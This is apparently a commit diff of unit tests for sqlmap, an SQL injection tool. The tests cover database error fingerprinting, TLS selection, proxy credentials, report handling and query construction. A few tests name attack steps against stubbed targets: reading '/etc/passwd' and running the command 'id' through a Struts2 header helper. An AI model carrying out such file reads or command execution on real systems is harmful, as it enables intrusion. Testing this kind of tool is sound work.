self.assertEqual(dbms, DBMS.PGSQL)
|
||||
self.assertEqual(kb.forkNote, FORK.OPENGAUSS)
|
||||
|
||||
def test_duckdb_error_fingerprint(self):
|
||||
# Messages below are verbatim from DuckDB 1.1.3/1.5.5 (the module was renamed
|
||||
#'duckdb.duckdb' -> '_duckdb')
|
||||
for page in (
|
||||
"_duckdb.ParserException: Parser Error: unterminated quoted string at or near \"'''\"",
|
||||
"duckdb.duckdb.CatalogException: Catalog Error: Table with name t does not exist!",
|
||||
"_duckdb.BinderException: Binder Error: Referenced column \"x\" not found in FROM clause!",
|
||||
"at org.duckdb.DuckDBPreparedStatement.execute(DuckDBPreparedStatement.java:180)",
|
||||
):
|
||||
kb.forkNote = None
|
||||
kb.cache.parsedDbms.clear()
|
||||
self.assertEqual(htmlParser(page), DBMS.PGSQL)
|
||||
self.assertEqual(kb.forkNote, FORK.DUCKDB)
|
||||
|
||||
def test_trino_error_fingerprint(self):
|
||||
# the generic Presto 'mismatched input' entry also matches, so this pins the ordering
|
||||
# that keeps the Trino fork note from being swallowed by it
|
||||
page = "io.trino.jdbc.TrinoSQLException: line 1:15: mismatched input 'FROM'. Expecting: <expression>"
|
||||
dbms = htmlParser(page)
|
||||
self.assertEqual(dbms, DBMS.PRESTO)
|
||||
self.assertEqual(kb.forkNote, FORK.TRINO)
|
||||
|
||||
def test_doris_error_fingerprint(self):
|
||||
# Doris speaks the MySQL wire protocol, so the client-side exception is MySQL's own -
|
||||
# only the leaked FE package name tells the fork apart
|
||||
page = "com.mysql.jdbc.exceptions.MySQLSyntaxErrorException at org.apache.doris.qe.ConnectProcessor"
|
||||
dbms = htmlParser(page)
|
||||
self.assertEqual(dbms, DBMS.MYSQL)
|
||||
self.assertEqual(kb.forkNote, FORK.DORIS)
|
||||
|
||||
def test_starrocks_error_fingerprint(self):
|
||||
for page in (
|
||||
"com.mysql.jdbc.exceptions.MySQLSyntaxErrorException at com.starrocks.qe.ConnectProcessor",
|
||||
"(1064, 'Getting syntax error from line 1, column 7 to line 1, column 62. Detail message: x.')",
|
||||
):
|
||||
kb.forkNote = None
|
||||
kb.cache.parsedDbms.clear()
|
||||
self.assertEqual(htmlParser(page), DBMS.MYSQL)
|
||||
self.assertEqual(kb.forkNote, FORK.STARROCKS)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -699,6 +699,17 @@ class TestRedirectHandling(unittest.TestCase):
|
||||
self.assertEqual(calls[0][1], 8443)
|
||||
self.assertEqual(calls[0][4], "xn--tst-qla.example:8443")
|
||||
|
||||
def test_cross_origin_redirect_strips_custom_auth_headers(self):
|
||||
responses = [(307, [(b"location", b"https://other.test/final")], b""), (200, [], b"ok")]
|
||||
_, calls = self._run_with_fake_exchange(
|
||||
responses, url="https://example.test/start",
|
||||
headers={"X-Auth-Token": "secret", "X-Keep": "yes"},
|
||||
sensitive_headers=("X-Auth-Token",),
|
||||
)
|
||||
names = [key.lower() for key, _ in calls[1][5]]
|
||||
self.assertNotIn("x-auth-token", names)
|
||||
self.assertIn("x-keep", names)
|
||||
|
||||
|
||||
class TestPoolRetries(unittest.TestCase):
|
||||
class _Connection(object):
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Unit tests for lib/request/httpshandler.py, exercising the SSL protocol
|
||||
candidate selection.
|
||||
|
||||
No network is involved: the module is reimported with chosen ssl.PROTOCOL_*
|
||||
constants removed, mimicking OpenSSL builds that have those protocol versions
|
||||
compiled out (e.g. OPENSSL_NO_TLS1), as the constants are conditional there.
|
||||
"""
|
||||
|
||||
import os
|
||||
import ssl
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf
|
||||
import lib.request.httpshandler as hmod
|
||||
from thirdparty.six.moves import reload_module as _reload_module
|
||||
|
||||
class TestProtocolSelection(unittest.TestCase):
|
||||
def tearDown(self):
|
||||
hmod.socket.create_connection = self._createConnection
|
||||
hmod.ssl.SSLContext = self._sslContext
|
||||
hmod._contexts.clear()
|
||||
|
||||
for name, value in self._removed.items():
|
||||
setattr(ssl, name, value)
|
||||
_reload_module(hmod)
|
||||
|
||||
def _reload_without(self, *names):
|
||||
"""Reloads the module with `names` missing from ssl (as on builds lacking those protocols)"""
|
||||
|
||||
self._removed = {}
|
||||
self._createConnection = hmod.socket.create_connection
|
||||
self._sslContext = hmod.ssl.SSLContext
|
||||
|
||||
for name in names:
|
||||
if hasattr(ssl, name):
|
||||
self._removed[name] = getattr(ssl, name)
|
||||
delattr(ssl, name)
|
||||
|
||||
_reload_module(hmod)
|
||||
|
||||
return [hmod._lut.get(_, _) for _ in hmod._protocols if _ in hmod._tlsProtocols]
|
||||
|
||||
def test_only_tls_protocols_are_used_with_sni(self):
|
||||
# Note: SSL era protocols stay in _protocols for the non-SNI fallback, but carry no server_hostname
|
||||
selected = self._reload_without()
|
||||
self.assertTrue(selected)
|
||||
for name in ("PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"):
|
||||
if hasattr(ssl, name):
|
||||
self.assertIn(getattr(ssl, name), hmod._protocols)
|
||||
self.assertNotIn(getattr(ssl, name), hmod._tlsProtocols)
|
||||
|
||||
def test_missing_tlsv1_does_not_raise(self):
|
||||
# Note: ssl.PROTOCOL_TLSv1 is compiled in only '#ifndef OPENSSL_NO_TLS1' (used to raise an AttributeError here)
|
||||
selected = self._reload_without("PROTOCOL_TLSv1")
|
||||
self.assertTrue(selected)
|
||||
self.assertNotIn("PROTOCOL_TLSv1", selected)
|
||||
|
||||
def test_missing_all_legacy_tls_does_not_raise(self):
|
||||
selected = self._reload_without("PROTOCOL_TLSv1", "PROTOCOL_TLSv1_1")
|
||||
self.assertTrue(selected)
|
||||
self.assertNotIn("PROTOCOL_TLSv1_1", selected)
|
||||
|
||||
def test_connect_without_tlsv1(self):
|
||||
"""Drives the real connect() loop, which used to reference ssl.PROTOCOL_TLSv1 directly"""
|
||||
|
||||
selected = self._reload_without("PROTOCOL_TLSv1")
|
||||
|
||||
conf.host = None
|
||||
conf.httpHeaders = []
|
||||
|
||||
class _Context(object):
|
||||
def __init__(self, protocol):
|
||||
self.protocol = protocol
|
||||
|
||||
def set_ciphers(self, _):
|
||||
pass
|
||||
|
||||
def wrap_socket(self, sock, **kwargs):
|
||||
return "wrapped:%s" % hmod._lut.get(self.protocol, self.protocol)
|
||||
|
||||
connection = hmod.HTTPSConnection("example.com", 443)
|
||||
|
||||
# Note: stubbed only after the instantiation, as that one resolves the default context through ssl itself
|
||||
hmod.socket.create_connection = lambda *args, **kwargs: _Socket()
|
||||
hmod.ssl.SSLContext = _Context
|
||||
hmod._contexts.clear()
|
||||
|
||||
connection.connect()
|
||||
|
||||
self.assertEqual(connection.sock, "wrapped:%s" % selected[0])
|
||||
|
||||
class _Socket(object):
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,137 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
The last branch of main()'s unhandled-exception chain in sqlmap.py: when the
|
||||
experimental Python JIT is turned on, a crash gets the tier-2 advisory (Reference:
|
||||
'https://github.com/python/cpython/issues/156319') instead of the automatic
|
||||
issue-creation prompt - but the traceback is still printed, so a genuine sqlmap
|
||||
bug is not swallowed.
|
||||
|
||||
Driven through a subprocess because it is main()'s own except chain under test.
|
||||
"""
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
# Forces a crash inside init(), i.e. the same place #6117 landed, without needing a target.
|
||||
# NOTE: the injected fault must raise on Python 2 as well - 'a' < 128 does NOT (Python 2 orders
|
||||
# mismatched types by type name and quietly returns a bool), which let a broken run reach the
|
||||
# network on the PyPy-2.7 job instead of the exception handler under test.
|
||||
# codeIsModified() is neutralized because its branch sits earlier in the chain and would
|
||||
# otherwise win on any working tree with uncommitted edits (or a stale txt/checksum.md5).
|
||||
DRIVER = """
|
||||
import sys
|
||||
sys.path.insert(0, %r)
|
||||
sys.argv = ["sqlmap.py", "-u", "http://127.0.0.1/?id=1", "--batch"]
|
||||
import sqlmap
|
||||
import lib.core.option
|
||||
sqlmap.codeIsModified = lambda: False
|
||||
lib.core.option.loadPayloads = lambda: iter([])()
|
||||
sqlmap.main()
|
||||
""" % ROOT
|
||||
|
||||
ADVISORY = "experimental Python JIT compiler is turned on"
|
||||
TRACEBACK = "TypeError"
|
||||
PROMPT = "automatically create a new (anonymized) issue"
|
||||
|
||||
|
||||
def _run(jit):
|
||||
env = dict(os.environ)
|
||||
env["PYTHON_JIT"] = jit
|
||||
proc = subprocess.Popen([sys.executable, "-c", DRIVER], cwd=ROOT, env=env,
|
||||
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT)
|
||||
out = proc.communicate(input=b"")[0]
|
||||
return out.decode("utf-8", "replace")
|
||||
|
||||
|
||||
def _jitEnabled(jit):
|
||||
"""Whether the guard in sqlmap.py would consider the JIT enabled (mirrors its condition)."""
|
||||
code = ("import sys, os; print(sys._jit.is_enabled() if hasattr(sys, '_jit') "
|
||||
"else (sys.version_info >= (3, 13) and os.environ.get('PYTHON_JIT') == '1'))")
|
||||
env = dict(os.environ)
|
||||
env["PYTHON_JIT"] = jit
|
||||
return subprocess.check_output([sys.executable, "-c", code], env=env).strip() == b"True"
|
||||
|
||||
|
||||
class TestJitGuard(unittest.TestCase):
|
||||
def test_advisory_replaces_issue_prompt_but_keeps_traceback(self):
|
||||
if not _jitEnabled('1'):
|
||||
self.skipTest("interpreter does not report the JIT as enabled")
|
||||
|
||||
out = _run('1')
|
||||
self.assertIn(ADVISORY, out)
|
||||
self.assertIn(TRACEBACK, out) # a real bug must still be visible in full
|
||||
self.assertNotIn(PROMPT, out) # ... but not auto-filed while the JIT is on
|
||||
|
||||
def test_normal_path_is_untouched_without_jit(self):
|
||||
if _jitEnabled('0'):
|
||||
self.skipTest("JIT stays enabled with PYTHON_JIT=0 on this build")
|
||||
|
||||
out = _run('0')
|
||||
self.assertNotIn(ADVISORY, out)
|
||||
self.assertIn(TRACEBACK, out)
|
||||
self.assertIn(PROMPT, out)
|
||||
|
||||
|
||||
# Tool id 3 is unused by CPython's own well-known ids (DEBUGGER=0, COVERAGE=1, PROFILER=2, OPTIMIZER=5)
|
||||
_TEST_TOOL_ID = 3
|
||||
|
||||
_MONITORING_DRIVER = """
|
||||
import sys
|
||||
sys.path.insert(0, %r)
|
||||
sys.monitoring.use_tool_id(%d, "test-tool")
|
||||
sys.monitoring.set_events(%d, sys.monitoring.events.PY_START)
|
||||
import sqlmap
|
||||
print(sys.monitoring.get_tool(%d))
|
||||
print(sys.monitoring.get_events(%d))
|
||||
""" % (ROOT, _TEST_TOOL_ID, _TEST_TOOL_ID, _TEST_TOOL_ID, _TEST_TOOL_ID)
|
||||
|
||||
|
||||
def _monitoringStateAfterImport(jit):
|
||||
env = dict(os.environ)
|
||||
env["PYTHON_JIT"] = jit
|
||||
out = subprocess.check_output([sys.executable, "-c", _MONITORING_DRIVER], cwd=ROOT, env=env)
|
||||
tool, events = out.decode("utf-8").strip().splitlines()
|
||||
return tool, int(events)
|
||||
|
||||
|
||||
class TestMonitoringGuard(unittest.TestCase):
|
||||
"""
|
||||
The other half of the cpython#156319 mitigation: the tier-2 corruption needs BOTH the JIT and
|
||||
an active sys.monitoring tool (debugger/profiler/coverage) at once - neither alone triggers it.
|
||||
So sqlmap only silences an already-registered tool's events when the JIT is also on, and leaves
|
||||
it alone otherwise. A plain `coverage run sqlmap.py ...` (JIT off) must keep working - which is
|
||||
exactly what broke CI the first time this guard shipped unconditionally.
|
||||
"""
|
||||
|
||||
def test_active_tool_is_silenced_when_jit_is_on(self):
|
||||
if not hasattr(sys, "monitoring"):
|
||||
self.skipTest("interpreter has no sys.monitoring (needs 3.12+)")
|
||||
if not _jitEnabled('1'):
|
||||
self.skipTest("interpreter does not report the JIT as enabled")
|
||||
|
||||
tool, events = _monitoringStateAfterImport('1')
|
||||
self.assertEqual(tool, "test-tool") # still registered - its own owner can still free it
|
||||
self.assertEqual(events, 0) # but events cleared to NO_EVENTS
|
||||
|
||||
def test_active_tool_is_left_alone_without_jit(self):
|
||||
if not hasattr(sys, "monitoring"):
|
||||
self.skipTest("interpreter has no sys.monitoring (needs 3.12+)")
|
||||
if _jitEnabled('0'):
|
||||
self.skipTest("JIT stays enabled with PYTHON_JIT=0 on this build")
|
||||
|
||||
tool, events = _monitoringStateAfterImport('0')
|
||||
self.assertEqual(tool, "test-tool")
|
||||
self.assertNotEqual(events, 0) # untouched - e.g. a real `coverage run` must keep working
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -1646,5 +1646,50 @@ class TestNonSqlTechniqueRegistry(unittest.TestCase):
|
||||
self.assertEqual(optDict["Techniques"].get(name), "boolean", name)
|
||||
|
||||
|
||||
class TestSetHTTPHandlersProxyCredentials(unittest.TestCase):
|
||||
"""_setHTTPHandlers(): credentials embedded in the proxy URL (dropped for HTTP(S) and left
|
||||
URL-encoded for SOCKS ever since the fix for #5875). Global state (shared proxy handler,
|
||||
installed opener, SOCKS hooks) is pinned, so nothing leaks into other modules."""
|
||||
|
||||
_KEYS = ("proxy", "proxyCred", "proxyList", "hostname", "ignoreProxy", "cj", "keepAlive")
|
||||
|
||||
def setUp(self):
|
||||
from _testutils import save_attrs
|
||||
|
||||
self._socks = []
|
||||
self._saved = save_attrs(option.socks, "setdefaultproxy", "wrapmodule", "unwrapmodule")
|
||||
self._saved += save_attrs(option.proxyHandler, "proxies", "http_open", "https_open")
|
||||
self._saved += save_attrs(option._urllib.request, "install_opener")
|
||||
|
||||
option.socks.setdefaultproxy = lambda *args, **kwargs: self._socks.append((kwargs.get("username"), kwargs.get("password")))
|
||||
option.socks.wrapmodule = option.socks.unwrapmodule = lambda *args: None
|
||||
option._urllib.request.install_opener = lambda *args: None
|
||||
|
||||
def tearDown(self):
|
||||
from _testutils import restore_attrs
|
||||
|
||||
restore_attrs(self._saved)
|
||||
|
||||
def _run(self, proxy, proxyCred=None):
|
||||
with _preserve(conf, *self._KEYS), _preserve(kb, "proxies"):
|
||||
conf.proxy, conf.proxyCred, conf.proxyList = proxy, proxyCred, None
|
||||
option._setHTTPHandlers()
|
||||
return (kb.proxies or {}).get("http")
|
||||
|
||||
def test_http_url_credentials(self):
|
||||
# Note: kept URL-encoded, as urllib decodes them itself when building 'Proxy-Authorization'
|
||||
self.assertEqual(self._run("http://user:p%40s[email protected]:8080"), "user:p%40s[email protected]:8080")
|
||||
|
||||
def test_proxy_cred_takes_precedence(self):
|
||||
self.assertEqual(self._run("http://user:p%40s[email protected]:8080", "other:pw"), "other:[email protected]:8080")
|
||||
|
||||
def test_http_without_credentials(self):
|
||||
self.assertEqual(self._run("http://127.0.0.1:8080"), "127.0.0.1:8080")
|
||||
|
||||
def test_socks_url_credentials_decoded(self):
|
||||
self._run("socks5://user:p%40s[email protected]:1080")
|
||||
self.assertEqual(self._socks, [("user", "p@ss")])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -222,5 +222,109 @@ class TestWriteReportJson(_CollectorCase):
|
||||
os.remove(path)
|
||||
|
||||
|
||||
class TestMultiTargetTaskId(_CollectorCase):
|
||||
"""
|
||||
Regression coverage for issue #6123: a '-m' bulk-file run shares ONE process (and thus one
|
||||
report collector) across many targets. _storeData()'s COMPLETE-status branch deletes any
|
||||
existing row for a (taskid, content_type) key before inserting the new one, so if every
|
||||
target reused the same fixed REPORT_TASKID, a later target's TARGET/TECHNIQUES write would
|
||||
silently delete an earlier target's row of the same content_type. The fix keys each target's
|
||||
writes by kb.reportTaskId instead.
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
super(TestMultiTargetTaskId, self).setUp()
|
||||
from lib.core.dump import Dump
|
||||
self._had_reportTaskId = "reportTaskId" in kb
|
||||
self._saved_reportTaskId = kb.get("reportTaskId")
|
||||
self._saved_dumper = conf.get("dumper")
|
||||
self._saved_reportCollector = conf.get("reportCollector")
|
||||
conf.dumper = Dump()
|
||||
conf.reportCollector = self.c
|
||||
|
||||
def tearDown(self):
|
||||
# restore to the PRIOR STATE exactly - if the key was absent before (the common case, since
|
||||
# kb.reportTaskId is normally set lazily by a multi-target run), setting it to the saved None
|
||||
# would instead leave it explicitly present with value None, which breaks the
|
||||
# kb.get("reportTaskId", REPORT_TASKID) fallback used elsewhere (e.g. ReportErrorRecorder.emit())
|
||||
# for the rest of the test process - order-dependent flakiness, since Python 2's unittest
|
||||
# discover() does not sort tests/ (unlike Python 3's), so this class can run before
|
||||
# TestReportErrorCapture depending on the checkout's raw directory order
|
||||
if self._had_reportTaskId:
|
||||
kb.reportTaskId = self._saved_reportTaskId
|
||||
else:
|
||||
del kb.reportTaskId
|
||||
conf.dumper = self._saved_dumper
|
||||
conf.reportCollector = self._saved_reportCollector
|
||||
super(TestMultiTargetTaskId, self).tearDown()
|
||||
|
||||
def test_second_target_does_not_overwrite_first(self):
|
||||
kb.reportTaskId = 1
|
||||
conf.dumper._reportData({"url": "http://host1/?id=1"}, CONTENT_TYPE.TARGET)
|
||||
|
||||
kb.reportTaskId = 2
|
||||
conf.dumper._reportData({"url": "http://host2/?id=1"}, CONTENT_TYPE.TARGET)
|
||||
|
||||
first = api._assembleData(self.c, 1)["data"]
|
||||
second = api._assembleData(self.c, 2)["data"]
|
||||
self.assertEqual(first[0]["value"]["url"], "http://host1/?id=1") # not clobbered by target #2
|
||||
self.assertEqual(second[0]["value"]["url"], "http://host2/?id=1")
|
||||
|
||||
def test_write_report_json_wraps_multiple_targets(self):
|
||||
kb.reportTaskId = 1
|
||||
conf.dumper._reportData({"url": "http://host1/?id=1"}, CONTENT_TYPE.TARGET)
|
||||
kb.reportTaskId = 2
|
||||
conf.dumper._reportData({"url": "http://host2/?id=1"}, CONTENT_TYPE.TARGET)
|
||||
|
||||
fd, path = tempfile.mkstemp(suffix=".json")
|
||||
os.close(fd)
|
||||
try:
|
||||
api.writeReportJson(self.c, path)
|
||||
with io.open(path, encoding="utf-8") as f:
|
||||
loaded = json.load(f)
|
||||
self.assertIn("targets", loaded)
|
||||
self.assertEqual(len(loaded["targets"]), 2)
|
||||
urls = [t["data"][0]["value"]["url"] for t in loaded["targets"]]
|
||||
self.assertEqual(urls, ["http://host1/?id=1", "http://host2/?id=1"])
|
||||
finally:
|
||||
os.remove(path)
|
||||
|
||||
def test_single_target_report_keeps_flat_shape(self):
|
||||
# backward compatibility: exactly one taskid -> no 'targets' wrapper, same shape as before
|
||||
kb.reportTaskId = 1
|
||||
conf.dumper._reportData({"url": "http://host1/?id=1"}, CONTENT_TYPE.TARGET)
|
||||
|
||||
fd, path = tempfile.mkstemp(suffix=".json")
|
||||
os.close(fd)
|
||||
try:
|
||||
api.writeReportJson(self.c, path)
|
||||
with io.open(path, encoding="utf-8") as f:
|
||||
loaded = json.load(f)
|
||||
self.assertNotIn("targets", loaded)
|
||||
self.assertEqual(loaded["data"][0]["value"]["url"], "http://host1/?id=1")
|
||||
finally:
|
||||
os.remove(path)
|
||||
|
||||
def test_error_recorded_under_active_target(self):
|
||||
import logging
|
||||
from lib.core.data import logger
|
||||
|
||||
saved_level = logger.level
|
||||
logger.setLevel(logging.ERROR)
|
||||
# mute pre-existing handlers (e.g. console) but not the ReportErrorRecorder added by setUp
|
||||
muted = [(handler, handler.level) for handler in logger.handlers if not isinstance(handler, api.ReportErrorRecorder)]
|
||||
for handler, _ in muted:
|
||||
handler.setLevel(logging.CRITICAL + 1)
|
||||
try:
|
||||
kb.reportTaskId = 2
|
||||
logger.error("boom for target 2")
|
||||
self.assertTrue(any("boom for target 2" in _ for _ in api._assembleData(self.c, 2)["error"]))
|
||||
self.assertEqual(api._assembleData(self.c, 1)["error"], []) # not attributed to target #1
|
||||
finally:
|
||||
logger.setLevel(saved_level)
|
||||
for handler, level in muted:
|
||||
handler.setLevel(level)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -827,3 +827,7 @@ class TestStruts2Header(unittest.TestCase):
|
||||
# so no start/end marker is found -> no fabricated 'output'
|
||||
ssti._s2045Send = lambda url, action: "reflected: %s" % action
|
||||
self.assertIsNone(ssti._executeStruts2Header("http://target", "id"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -51,6 +51,7 @@ from lib.core.settings import RESTORE_MERGED_OPTIONS
|
||||
from lib.core.settings import UNENCODED_ORIGINAL_VALUE
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.utils.hashdb import HashDB
|
||||
import lib.core.target as target
|
||||
from lib.core.target import _createDumpDir
|
||||
from lib.core.target import _createFilesDir
|
||||
from lib.core.target import _createTargetDirs
|
||||
@@ -354,6 +355,31 @@ class TestResumeDBMS(_TargetTestBase):
|
||||
with self.assertRaises(SqlmapNoneDataException):
|
||||
_resumeDBMS()
|
||||
|
||||
def test_survives_broken_re_module(self):
|
||||
# a Python 3.13/3.14 're' module regression can make re.search() raise TypeError on an
|
||||
# otherwise-valid pattern (#6128, #6137) - must fall back to "no match" (the stored value
|
||||
# used as-is) instead of crashing the whole resume
|
||||
self._new_hashdb()
|
||||
conf.dbms = None
|
||||
conf.offline = False
|
||||
hashDBWrite(HASHDB_KEYS.DBMS, "MySQL 5.0")
|
||||
|
||||
originalRe = target.re
|
||||
|
||||
class _BrokenRe(object):
|
||||
I = originalRe.I
|
||||
|
||||
def search(self, *args, **kwargs):
|
||||
raise TypeError("list.append() takes exactly one argument (2 given)")
|
||||
|
||||
target.re = _BrokenRe()
|
||||
try:
|
||||
_resumeDBMS()
|
||||
finally:
|
||||
target.re = originalRe
|
||||
|
||||
self.assertIsNone(Backend.getIdentifiedDbms())
|
||||
|
||||
|
||||
class TestResumeOS(_TargetTestBase):
|
||||
def test_resumes_os(self):
|
||||
@@ -483,6 +509,18 @@ class TestCreateDirs(_TargetTestBase):
|
||||
self.assertTrue(os.path.isdir(conf.filePath))
|
||||
self.assertIn("example.com", conf.filePath)
|
||||
|
||||
def test_files_dir_survives_percent_in_output_dir(self):
|
||||
# --output-dir carries a literal '%' straight into SQLMAP_FILES_PATH (e.g. an unexpanded
|
||||
# '$(date +%Y%m%d)' on a shell without command substitution, as in #6133) - the '%' operator
|
||||
# would try to parse '%Y' as a format directive and crash; safeStringFormat() must not
|
||||
self._outdir("f_out_%Y%m%d_%H%M%S")
|
||||
conf.hostname = "example.com"
|
||||
conf.fileRead = "/etc/passwd"
|
||||
conf.commonFiles = None
|
||||
_createFilesDir()
|
||||
self.assertTrue(os.path.isdir(conf.filePath))
|
||||
self.assertIn("example.com", conf.filePath)
|
||||
|
||||
def test_target_dir_and_target_txt(self):
|
||||
self._outdir("t_out")
|
||||
conf.hostname = "example.com"
|
||||
|
||||
@@ -112,6 +112,34 @@ class TestOrderByColumnCount(unittest.TestCase):
|
||||
self.assertEqual(self._detect(25), 25)
|
||||
|
||||
|
||||
class TestNestedOrderBy(unittest.TestCase):
|
||||
def test_union_preserves_ordering_inside_limited_subquery_and_literals(self):
|
||||
original_init = uu.initTechnique
|
||||
original_use = uu._oneShotUnionUse
|
||||
saved_json = kb.get('jsonAggMode')
|
||||
saved_run = kb.get('partRun')
|
||||
set_dbms('Oracle')
|
||||
captured = []
|
||||
def capture(query, *args, **kwargs):
|
||||
captured.append(query)
|
||||
raise RuntimeError('stop after query construction')
|
||||
uu.initTechnique = lambda *args: None
|
||||
uu._oneShotUnionUse = capture
|
||||
try:
|
||||
for inner, outer in (('ORDER BY', 'ORDER BY'), ('Order By', 'order by')):
|
||||
query = "SELECT a,b FROM (SELECT a,'ORDER BY literal' AS b FROM t %s a,b) x WHERE ROWNUM<=20 %s a" % (inner, outer)
|
||||
with self.assertRaises(RuntimeError):
|
||||
uu.unionUse(query)
|
||||
self.assertIn('FROM t %s a,b)' % inner, captured[-1])
|
||||
self.assertIn("'ORDER BY literal'", captured[-1])
|
||||
self.assertFalse(captured[-1].rstrip().endswith('%s a' % outer))
|
||||
finally:
|
||||
uu.initTechnique = original_init
|
||||
uu._oneShotUnionUse = original_use
|
||||
kb.jsonAggMode = saved_json
|
||||
kb.partRun = saved_run
|
||||
|
||||
|
||||
class TestMssqlJsonAggFalsyValues(unittest.TestCase):
|
||||
"""Regression: MSSQL UNION dumps use FOR JSON (jsonAggMode), whose output carries native JSON
|
||||
types. A real 0 / '' / false is a value; only JSON null is SQL NULL. The old `row.get(field) or
|
||||
|
||||
@@ -557,3 +557,7 @@ class TestRealXPathSyntax(unittest.TestCase):
|
||||
self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload))
|
||||
self.assertIsInstance(count, int,
|
||||
"Boundary '%s' in '%s' produced no count" % (bk, tkey))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
Reference in new issue
Block a user